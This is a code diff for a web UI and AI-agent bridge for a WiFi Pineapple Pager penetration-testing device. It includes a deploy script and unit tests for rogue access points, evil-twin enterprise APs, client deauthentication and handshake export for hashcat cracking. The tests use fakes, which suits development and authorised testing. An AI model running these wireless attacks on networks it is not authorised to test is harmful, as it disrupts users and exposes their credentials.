search: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M15.5,14H14.71L14.43,13.73C15.41,12.59 16,11.11 16,9.5C16,5.91 13.09,3 9.5,3C5.91,3 3,5.91 3,9.5C3,13.09 5.91,16 9.5,16C11.11,16 12.59,15.41 13.73,14.43L14,14.71V15.5L19,20.49L20.49,19L15.5,14M9.5,14C7.01,14 5,11.99 5,9.5C5,7.01 7.01,5 9.5,5C11.99,5 14,7.01 14,9.5C14,11.99 11.99,14 9.5,14Z"/></svg>',
first_page: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18.41,16.59L13.82,12L18.41,7.41L17,6L11,12L17,18L18.41,16.59M6,6H8V18H6V6Z"/></svg>',
@@ -30,5 +33,11 @@ window.PineappleIcons = {
help: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 1,0 22,12A10,10 0 0,0 12,2M13,19H11V17H13V19M15.07,11.25L14.17,12.17C13.45,12.9 13,13.5 13,15H11V14.5C11,13.4 11.45,12.4 12.17,11.67L13.41,10.41C13.78,10.05 14,9.55 14,9A2,2 0 0,0 10,9H8A4,4 0 0,1 16,9C16,9.88 15.64,10.68 15.07,11.25Z"/></svg>',
update: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21,10.12H14.22L16.96,7.3C14.23,4.6 9.81,4.5 7.08,7.2A6.85,6.85 0 0,0 7.08,17C9.81,19.7 14.23,19.7 16.96,17C18.32,15.65 19,14.08 19,12.1H21C21,14.08 20.18,16.4 18.36,18.2C14.85,21.7 9.15,21.7 5.64,18.2C2.14,14.72 2.14,9.05 5.64,5.57C9.15,2.08 14.85,2.08 18.36,5.57L21,2.88V10.12M12.5,8V12.25L16,14.33L15.28,15.54L11,13V8H12.5Z"/></svg>',
logout: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14.08,15.59L16.67,13H7V11H16.67L14.08,8.41L15.5,7L20.5,12L15.5,17L14.08,15.59M5,3H13A2,2 0 0,1 15,5V8H13V5H5V19H13V16H15V19A2,2 0 0,1 13,21H5A2,2 0 0,1 3,19V5A2,2 0 0,1 5,3Z"/></svg>',
reboot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M13,3H11V13H13V3M17.83,5.17L16.42,6.58A7,7 0 1,1 7.58,6.58L6.17,5.17A9,9 0 1,0 17.83,5.17Z"/></svg>'
reboot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M13,3H11V13H13V3M17.83,5.17L16.42,6.58A7,7 0 1,1 7.58,6.58L6.17,5.17A9,9 0 1,0 17.83,5.17Z"/></svg>',
table_chart: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,20H9V4H12V20M19,20H16V10H19V20M5,20H2V14H5V20Z"/></svg>',
description: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,2H6C4.9,2 4,2.9 4,4V20C4,21.1 4.9,22 6,22H18C19.1,22 20,21.1 20,20V8L14,2M18,20H6V4H13V9H18V20M16,18H8V16H16V18M16,14H8V12H16V14Z"/></svg>',
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>'
};
File diff suppressed because it is too large Load Diff
+186
View File
@@ -0,0 +1,186 @@
#!/usr/bin/env bash
set -euo pipefail
PAGER_HOST="172.16.52.1"
PAGER_USER="root"
PASSWORD=""
SSH_KEY=""
BUILD_DIR=""
PORTAL_REFRESH=true
usage() {
cat <<'EOF'
Usage: scripts/deploy.sh [options]
Options:
--host HOST Pager address (default: 172.16.52.1)
--user USER SSH user (default: root)
--password PASSWORD SSH/device password (requires sshpass)
--ssh-key PATH SSH private key
--build-dir PATH Build output directory (default: <repo>/build)
--no-portal-refresh Skip the best-effort portal refresh
-h, --help Show this help
If neither --password nor --ssh-key is supplied, ssh/scp prompt normally.
EOF
}
while (($#)); do
case "$1" in
--host) PAGER_HOST="${2:?missing value for --host}"; shift 2 ;;
--user) PAGER_USER="${2:?missing value for --user}"; shift 2 ;;
--password) PASSWORD="${2:?missing value for --password}"; shift 2 ;;
--ssh-key) SSH_KEY="${2:?missing value for --ssh-key}"; shift 2 ;;
--build-dir) BUILD_DIR="${2:?missing value for --build-dir}"; shift 2 ;;
--no-portal-refresh) PORTAL_REFRESH=false; shift ;;
-h|--help) usage; exit 0 ;;
*) printf 'Unknown option: %s\n' "$1" >&2; usage >&2; exit 2 ;;
esac
done
for command in python3 zip scp ssh; do
command -v "$command" >/dev/null || {
printf 'Required command not found: %s\n' "$command" >&2
exit 1
}
done
if [[ -n "$PASSWORD" ]] && ! command -v sshpass >/dev/null; then
printf 'Password deployment requires sshpass (brew install hudochenkov/sshpass/sshpass).\n' >&2
exit 1
fi
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
PAYLOAD_KEY="pager-webui"
PAYLOAD_CATEGORY="remote_access"
PAYLOAD_DIR="$ROOT/payload/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
BUILD_DIR="${BUILD_DIR:-$ROOT/build}"
OUT_DIR="$BUILD_DIR/$PAYLOAD_KEY"
STAGE="$OUT_DIR/stage"
[[ -d "$PAYLOAD_DIR" ]] || {
printf 'Payload directory not found: %s\n' "$PAYLOAD_DIR" >&2
exit 1
}
mkdir -p "$OUT_DIR"
rm -rf "$STAGE"
mkdir -p "$STAGE/user/$PAYLOAD_CATEGORY"
cp -R "$PAYLOAD_DIR" "$STAGE/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
find "$STAGE" \( -type d -name __pycache__ -o -type f -name '*.pyc' \) -prune -exec rm -rf {} +
B64_KEY="$(python3 -c 'import base64; print(base64.urlsafe_b64encode(b"pager-webui").decode().rstrip("="))')"
ZIP_NAME="payload-$B64_KEY.zip"
ZIP_PATH="$OUT_DIR/$ZIP_NAME"
MANIFEST_PATH="$OUT_DIR/_hak5_manifest.json"
rm -f "$ZIP_PATH"
(
cd "$STAGE"
zip -q -r "$ZIP_PATH" user
)
HASH="$(python3 -c 'import hashlib, sys; print(hashlib.sha256(open(sys.argv[1], "rb").read()).hexdigest())' "$ZIP_PATH")"
python3 - "$PAYLOAD_DIR/_hak5_manifest.json" "$MANIFEST_PATH" "$HASH" "$ZIP_NAME" <<'PY'
import json
import sys
import time
source, destination, digest, zip_name = sys.argv[1:]
with open(source, encoding='utf-8') as handle:
manifest = json.load(handle)
manifest['time'] = int(time.time())
manifest['last_hash'] = digest
manifest['zip'] = zip_name
with open(destination, 'w', encoding='ascii') as handle:
json.dump(manifest, handle, indent=2)
handle.write('\n')
PY
printf 'Built: %s\n' "$ZIP_PATH"
TARGET="$PAGER_USER@$PAGER_HOST"
run_scp() {
if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
SSHPASS="$PASSWORD" sshpass -e scp -i "$SSH_KEY" "$@"
elif [[ -n "$PASSWORD" ]]; then
SSHPASS="$PASSWORD" sshpass -e scp "$@"
elif [[ -n "$SSH_KEY" ]]; then
scp -i "$SSH_KEY" "$@"
else
scp "$@"
fi
}
run_ssh() {
if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
SSHPASS="$PASSWORD" sshpass -e ssh -i "$SSH_KEY" "$@"
elif [[ -n "$PASSWORD" ]]; then
SSHPASS="$PASSWORD" sshpass -e ssh "$@"
elif [[ -n "$SSH_KEY" ]]; then
ssh -i "$SSH_KEY" "$@"
else
ssh "$@"
fi
}
run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/"
REMOTE_PAYLOAD_DIR="user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
LEGACY_PAYLOAD_DIR="user/general/$PAYLOAD_KEY"
REMOTE_COMMAND="set -e
cd /root/payloads
stage='.pager-webui.deploy.\$\$'
backup='.pager-webui.backup.\$\$'
trap 'rm -rf \"\$stage\" \"\$backup\"' EXIT
mkdir -p \"\$stage\"
cd \"\$stage\"
unzip -q '/tmp/$ZIP_NAME'
new=\"\$PWD/$REMOTE_PAYLOAD_DIR\"
[ -f \"\$new/server.py\" ] && [ -f \"\$new/payload.sh\" ] && [ -d \"\$new/www\" ]
cp /tmp/_hak5_manifest.json \"\$new/_hak5_manifest.json\"
chmod +x \"\$new/payload.sh\" \"\$new/pagerwebui.init\"
chmod -R 755 \"\$new/www\"
cd /root/payloads
if [ -d '$REMOTE_PAYLOAD_DIR' ]; then
mkdir -p \"\$(dirname \"\$backup\")\"
mv '$REMOTE_PAYLOAD_DIR' \"\$backup\"
fi
if mv \"\$new\" '$REMOTE_PAYLOAD_DIR'; then
rm -rf \"\$backup\" '$LEGACY_PAYLOAD_DIR'
else
[ ! -d \"\$backup\" ] || mv \"\$backup\" '$REMOTE_PAYLOAD_DIR'
exit 1
fi
rm -f '/tmp/$ZIP_NAME' /tmp/_hak5_manifest.json
if [ -x /etc/init.d/pagerwebui ] && /etc/init.d/pagerwebui running >/dev/null 2>&1; then
/etc/init.d/pagerwebui restart
fi
echo EXTRACT_OK"
run_ssh "$TARGET" "$REMOTE_COMMAND"
printf 'Installed to /root/payloads/%s/\n' "$REMOTE_PAYLOAD_DIR"
if $PORTAL_REFRESH && [[ -n "$PASSWORD" ]]; then
PASSWORD_B64="$(printf '%s' "$PASSWORD" | base64)"
PORTAL_OK=false
for attempt in 1 2 3; do
if printf '%s\n' "$PASSWORD_B64" | run_ssh "$TARGET" 'read -r password_b64
password=$(printf "%s" "$password_b64" | base64 -d)
login_body=$(printf "%s" "$password" | python3 -c '"'"'import json, sys; print(json.dumps({"username": "root", "password": sys.stdin.read()}))'"'"')
token=$(curl -sS -X POST http://127.0.0.1:1471/api/login -H "Content-Type: application/json" -d "$login_body" |
python3 -c '"'"'import json, sys; print(json.load(sys.stdin).get("token", ""))'"'"')
[ -n "$token" ] &&
curl -fsS -X POST http://127.0.0.1:1471/api/payloads/portal/refresh -H "Authorization: Bearer $token" >/dev/null'; then
PORTAL_OK=true
break
fi
sleep 2
done
if $PORTAL_OK; then
printf 'Portal refreshed.\n'
else
printf 'Warning: portal refresh failed; payload installation is complete.\n' >&2
fi
elif $PORTAL_REFRESH; then
printf 'Skipping portal refresh without --password; payload installation is complete.\n'
fi
printf 'Deploy complete. Browse http://%s:8080/\n' "$PAGER_HOST"
+65
View File
@@ -0,0 +1,65 @@
#!/usr/bin/env python3
"""stdio bridge to the Mark VIII MCP server.
Agents that only support stdio transport can run:
MCP_URL=http://172.16.52.1:8080/mcp \
MCP_TOKEN=<device session token> \
python3 scripts/harness_stdio.py
JSON-RPC messages are read line-by-line from stdin (one JSON object per
line, no embedded newlines) and forwarded to the Mark VIII Streamable-HTTP
MCP endpoint. Responses are printed back on stdout as single-line JSON.
Get a token from the Mark VIII Harness page, or fetch one:
curl -s -X POST http://172.16.52.1:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"root","password":"<device password>"}' \
-c cookies.txt
"""
import json
import os
import sys
import urllib.request
URL = os.environ.get('MCP_URL', 'http://172.16.52.1:8080/mcp')
TOKEN = os.environ.get('MCP_TOKEN', '')
def forward(msg):
data = json.dumps(msg).encode()
req = urllib.request.Request(URL, data=data, method='POST')
req.add_header('Content-Type', 'application/json')
req.add_header('Accept', 'application/json, text/event-stream')
if TOKEN:
req.add_header('Authorization', 'Bearer ' + TOKEN)
try:
with urllib.request.urlopen(req, timeout=120) as resp:
return resp.read().decode()
except urllib.error.HTTPError as exc:
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
'error': {'code': exc.code, 'message': exc.read().decode()[:300]}})
except Exception as exc: # noqa: BLE001
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
'error': {'code': -32000, 'message': str(exc)}})
def main():
if not TOKEN:
print('warning: MCP_TOKEN not set; server will reject calls', file=sys.stderr)
for line in sys.stdin:
line = line.strip()
if not line:
continue
try:
msg = json.loads(line)
except ValueError:
print(json.dumps({'jsonrpc': '2.0', 'id': None,
'error': {'code': -32700, 'message': 'parse error'}}))
continue
print(forward(msg), flush=True)
if __name__ == '__main__':
main()
+326
View File
@@ -0,0 +1,326 @@
import os
import shutil
import sqlite3
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, query=None):
return type('C', (), {'body': body, 'args': (), 'query': query or {}})()
class FakeUciDevice:
"""In-memory uci + device_run fake: 'uci set wireless.X=Y' state."""
def __init__(self):
self.state = {}
self.runs = []
self.sock = []
self._verify = True
def device_run(self, args, timeout=20, input_data=None):
self.runs.append((list(args), input_data))
a = list(args)
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.state[k] = v
elif a[:2] == ['uci', 'get']:
return (0, self.state.get(a[2], '') + '\n', '')
elif a[:2] == ['uci', 'delete']:
for k in list(self.state):
if k == a[2] or k.startswith(a[2] + '.'):
del self.state[k]
elif a[:2] == ['uci', 'commit']:
pass
elif a[0] == 'uci' and a[1] == 'show':
sec = a[2]
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
if k == sec or k.startswith(sec + '.')), '')
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
return (0, 'state=ENABLED\nssid[0]=test\n', '')
return (0, '', '')
def uci_iface(self, name):
cfg = {}
prefix = 'wireless.%s.' % name
for k, v in self.state.items():
if k.startswith(prefix):
cfg[k[len(prefix):]] = v
if not cfg:
return {}
return cfg
def daemon_sock_call(self, method, path, body=None, timeout=10):
self.sock.append((method, path, body))
if path == '/api/pineap/hostapd/get_config':
return 200, {'pineape_disabled': False, 'pineape_auth_pass': True}
if path == '/api/pineap/get_config':
return 200, {'autossidpool': True}
return 200, {'success': True}
class AttacksDeployTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = self.f.uci_iface
server._uci_section = self.f.uci_iface
server._verify_iface = lambda name, timeout=20: self.f._verify
server._allow_all_ssids = lambda: True
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
self.old_state = server.PINEAP_STATE_FILE
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
self.old_ent = {k: getattr(server, k) for k in
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')}
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
server.ENT_STATE = os.path.join(self.tmp, 'state.json')
self.old_ent_running = server._ent_running
self.old_ent_state = server._ent_state_loaded
server._ent_running = lambda: True
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
def tearDown(self):
server.PINEAP_STATE_FILE = self.old_state
server._ent_running = self.old_ent_running
server._ent_state_loaded = self.old_ent_state
for k, v in self.old_ent.items():
setattr(server, k, v)
shutil.rmtree(self.tmp)
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
self.assertEqual(status, 200)
self.assertTrue(payload['ok'])
self.assertTrue(payload['verified'])
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['interface'], 'wlan0wpa')
self.assertEqual(cfg['configs'][0]['ssid'], 'TargetNet')
self.assertEqual(cfg['configs'][0]['key'], 'secretpass1')
self.assertEqual(cfg['configs'][0]['enctype'], 'psk2')
engines = [s for s in self.f.sock
if s[1] in ('/api/pineap/hostapd/enable_pineap',
'/api/pineap/mimic/enable')]
self.assertEqual(len(engines), 2)
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
def test_deploy_wpa_5g_writes_radio1(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(self.f.state['wireless.wlan1wpa.ssid'], 'Corp')
self.assertEqual(self.f.state['wireless.wlan1wpa.encryption'], 'psk2')
self.assertEqual(self.f.state['wireless.radio1.channel'], '36')
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
self.assertEqual(payload['iface'], 'wlan1wpa')
self.assertEqual(payload['band'], server.BAND_5G)
def test_deploy_wpa_auto_channel_defaults_to_1_without_recon(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'UnknownNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False}))
self.assertEqual(status, 200)
self.assertTrue(payload['auto'])
self.assertEqual(payload['channel'], 1)
self.assertEqual(payload['band'], server.BAND_2G)
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['channel'], 1)
def test_deploy_wpa_auto_channel_uses_recon_target_channel(self):
db = self._make_recon_db()
old = server.RECON_DB
server.RECON_DB = db
try:
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Anderson-5', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False}))
finally:
server.RECON_DB = old
os.unlink(db)
self.assertEqual(status, 200)
self.assertEqual(payload['channel'], 149)
self.assertEqual(payload['band'], server.BAND_5G)
self.assertEqual(self.f.state['wireless.radio1.channel'], '149')
def _make_recon_db(self):
fd, db = tempfile.mkstemp(suffix='.db')
os.close(fd)
conn = sqlite3.connect(db)
conn.executescript(
'CREATE TABLE scan(id INTEGER PRIMARY KEY AUTOINCREMENT, uuid TEXT,'
' time INT, name TEXT);'
'CREATE TABLE wifi_device(hash INT PRIMARY KEY, scan INT, mac TEXT,'
' time INT, signal INT, freq INT, packets INT);'
'CREATE TABLE ssid(hash INT PRIMARY KEY, wifi_device INT, scan INT,'
' type INT, bssid TEXT, ssid BLOB, hidden INT, time INT, signal INT,'
' freq INT, channel INT, encryption INT);')
conn.execute("INSERT INTO scan (uuid, time, name) VALUES ('u1', 1, 'pager')")
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden,"
" time, signal, freq, channel, encryption) VALUES"
" (10, 1, 1, 8, 'C89E43648080', X'416E646572736F6E2D35', 0,"
" 1786466532, -76, 5745, 149, 0x400400108)")
conn.commit()
conn.close()
return db
def test_deploy_open_2g4_includes_bssid_and_country(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'open', 'ssid': 'Guest', 'hidden': False,
'channel': 1, 'country': 'US',
'bssid': 'DE:AD:BE:EF:00:01'}))
self.assertEqual(status, 200)
self.assertEqual(payload['iface'], 'wlan0open')
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
def test_deploy_enterprise_uses_standalone_phy1_engine(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
'enctype': 'wpa2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(payload['iface'], 'wlan1ent')
self.assertEqual(payload['band'], server.BAND_5G)
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
'type', 'managed'], cmds)
self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE,
server.ENT_CONF], cmds)
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
def test_deploy_enterprise_rejects_non_5g_channel(self):
status, _ = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2',
'channel': 6}))
self.assertEqual(status, 400)
def test_stop_enterprise_tears_down_engine(self):
server._ent_running = lambda: True
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
self.assertEqual(status, 200)
self.assertIn('wlan1ent', payload['stopped'])
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
def test_deploy_validation(self):
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'short',
'enctype': 'psk2', 'channel': 1}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'channel': 200}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deploy(ctx({'kind': 'bogus'}))
self.assertEqual(status, 400)
def test_stop_wpa_disables_both_bands(self):
self.f.state['wireless.wlan0wpa.disabled'] = '0'
self.f.state['wireless.wlan1wpa.disabled'] = '0'
self.f.state['pineapd.wlan1mon.hop'] = '0'
status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
self.assertEqual(status, 200)
self.assertEqual(self.f.state['wireless.wlan0wpa.disabled'], '1')
self.assertEqual(self.f.state['wireless.wlan1wpa.disabled'], '1')
self.assertIn('wlan0wpa', payload['stopped'])
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '1')
class AttacksDeauthTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
self.f._verify = True
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = self.f.uci_iface
def test_deauth_2g4_uses_wlan0mon_inject(self):
status, payload = server.h_attacks_deauth(ctx({
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 6}))
self.assertEqual(status, 200)
self.assertEqual(payload['inject'], 'wlan0mon')
calls = [r[0] for r in self.f.runs]
self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
'11:22:33:44:55:66', '6'], calls)
def test_deauth_5g_keeps_wlan1mon_inject(self):
status, payload = server.h_attacks_deauth(ctx({
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(payload['inject'], 'wlan1mon')
def test_deauth_bad_macs_rejected(self):
status, _ = server.h_attacks_deauth(ctx({
'bssid': 'nope', 'client': '11:22:33:44:55:66', 'channel': 6}))
self.assertEqual(status, 400)
class AttacksExportTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
self.f._verify = True
server.device_run = self.f.device_run
def fake_run(args, timeout=20, input_data=None):
self.f.runs.append((list(args), input_data))
a = list(args)
if a[0] == 'ls':
return (0, 'a.pcap\nb.cap\n', '')
if a[0] == 'hcxpcapngtool':
return (0, '', '')
return (0, '', '')
server.device_run = fake_run
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
self._real_exists = os.path.exists
server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
server.os.path.getsize = lambda p: 12
def tearDown(self):
server.os.path.exists = self._real_exists
try:
os.unlink('/tmp/mk8test.hc22000')
except OSError:
pass
def test_export_converts_captures(self):
status, payload = server.h_attacks_export_hc22000(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['size'], 12)
self.assertIn('hashcat -m 22000', payload['hashcat'])
hc = [r[0] for r in self.f.runs if r[0][0] == 'hcxpcapngtool'][0]
self.assertEqual(hc[1], '-o')
self.assertTrue(hc[2].startswith('/root/loot/hc22000/'))
self.assertTrue(hc[2].endswith('.hc22000'))
self.assertIn('/root/loot/handshakes/a.pcap', hc)
self.assertIn('/root/loot/pcap/b.cap', hc)
if __name__ == '__main__':
unittest.main()
+140
View File
@@ -0,0 +1,140 @@
import os
import sys
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
class HealthCheckTest(unittest.TestCase):
def setUp(self):
self.runs = []
self.ping_ok = True
self.sigsegvs = 0
self.iface_up = {'wlan0mon': True, 'wlan1mon': True}
self.uci_state = {}
server._health.update({
'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
self.old_iface_up = server._iface_up
server._iface_up = lambda name: self.iface_up.get(name, True)
def fake_run(args, timeout=20, input_data=None):
self.runs.append((list(args), timeout))
a = list(args)
if a[0] == 'pidof' and a[1] == 'pineapd':
if self.ping_ok:
return (0, '12345\n', '')
return (1, '', '')
if a[0] == 'logread':
return (0, 'SIGSEGV\n' * self.sigsegs if hasattr(self, 'sigsegs') else '', '')
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci_state[k] = v
if a[:2] == ['uci', 'delete']:
for k in list(self.uci_state):
if k == a[2] or k.startswith(a[2] + '.'):
del self.uci_state[k]
if a[:2] == ['uci', 'get']:
return (0, self.uci_state.get(a[2], '') + '\n', '')
if a[0] == 'uci' and a[1] == 'show':
sec = a[2]
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.uci_state.items()
if k == sec or k.startswith(sec + '.')), '')
return (0, '', '')
server.device_run = fake_run
def tearDown(self):
server._iface_up = self.old_iface_up
def test_pineap_up_reports_no_action(self):
result = server.health_check()
self.assertTrue(result['pineap_up'])
self.assertIsNone(result['last_action'])
self.assertEqual([r[0] for r in self.runs], [['pidof', 'pineapd']],
'health check must not write to the pineapd socket')
def test_pineap_up_repairs_dropped_monitors(self):
self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
result = server.health_check()
self.assertTrue(result['pineap_up'])
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
self.assertIn(['ip', 'link', 'set', 'wlan0mon', 'up'], [r[0] for r in self.runs])
self.assertEqual(result['monitor_fixes'], 1)
def test_down_with_growing_sigsegv_disables_pool(self):
self.ping_ok = False
self.sigsegs = 5
result = server.health_check()
self.assertIn('pool broadcast disabled', result['last_action'])
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
self.assertEqual(result['fixes'], 1)
def test_down_with_pool_already_disabled_restarts_pineapd(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
self.uci_state['pineapd.wlan2mon.disable'] = '1'
self.uci_state['pineapd.wlan2mon.hop'] = '0'
self.uci_state['pineapd.wlan1mon.bands'] = '5'
self.uci_state['pineapd.wlan0mon.bands'] = '2'
self.uci_state['pineapd.wlan1mon.hop'] = '0'
result = server.health_check()
self.assertEqual(result['last_action'], 'pineapd restart')
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
def test_down_stabilizes_known_crash_sources(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
result = server.health_check()
self.assertEqual(self.uci_state['pineapd.wlan2mon.disable'], '1')
self.assertEqual(self.uci_state['pineapd.wlan1mon.bands'], '5')
self.assertIn('stabilized', result['last_action'])
def test_down_clears_refilled_pool_list(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
result = server.health_check()
self.assertNotIn('pineapd.@ssidpool[0].ssid', self.uci_state)
self.assertIn('pool-list cleared', result['last_action'])
def test_down_without_crash_brings_monitors_up(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
self.iface_up = {'wlan0mon': True, 'wlan1mon': False}
result = server.health_check()
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
self.assertIn(['ip', 'link', 'set', 'wlan1mon', 'up'], [r[0] for r in self.runs])
def test_down_disables_pool_regardless_of_sigsegv_history(self):
self.ping_ok = False
server._health['sigsegv_last'] = 4
result = server.health_check()
self.assertIn('SSID pool broadcast disabled', result['last_action'])
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
def test_fix_cooldown_prevents_thrash(self):
self.ping_ok = False
server._health['last_fix'] = server.time.time() - 30
server.health_check()
server.health_check()
fixes = [r for r in self.runs if r[0][0] == '/etc/init.d/pineapd']
self.assertEqual(len(fixes), 1, 'cooldown must allow only one restart')
